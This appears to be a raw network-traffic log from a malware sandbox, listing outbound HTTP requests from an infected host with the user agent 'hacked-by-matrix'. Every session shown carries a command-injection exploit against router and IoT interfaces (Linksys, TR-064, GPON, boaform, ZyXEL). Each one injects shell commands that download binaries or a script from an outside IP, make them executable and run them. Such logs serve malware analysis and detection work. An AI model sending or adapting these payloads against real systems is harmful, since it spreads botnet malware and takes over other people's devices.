Mar 21, 2024 05:22:09.597383976 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:09.700587034 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	46136	74.135.184.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.619263887 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:10.318265915 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	58038	172.65.98.115	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.687144995 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	46182	74.135.184.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:10.760040045 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	56548	181.49.14.30	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.036864996 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	38070	42.77.202.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496382952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	35380	42.202.87.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496413946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	36002	118.57.116.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496416092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	54336	109.227.104.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496426105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	56972	109.94.63.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496447086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	48098	42.88.166.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496464968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	52194	118.113.229.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496464968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	48902	42.254.189.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496483088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	58886	42.197.200.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496485949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	34278	109.227.106.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496515036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	58032	109.255.99.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496539116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	44284	5.149.123.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496540070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	54894	5.151.58.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496565104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	54352	118.51.218.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496607065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	39542	109.53.218.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.496618032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	58602	62.29.31.234	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.120054007 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	52032	213.190.5.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.619097948 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
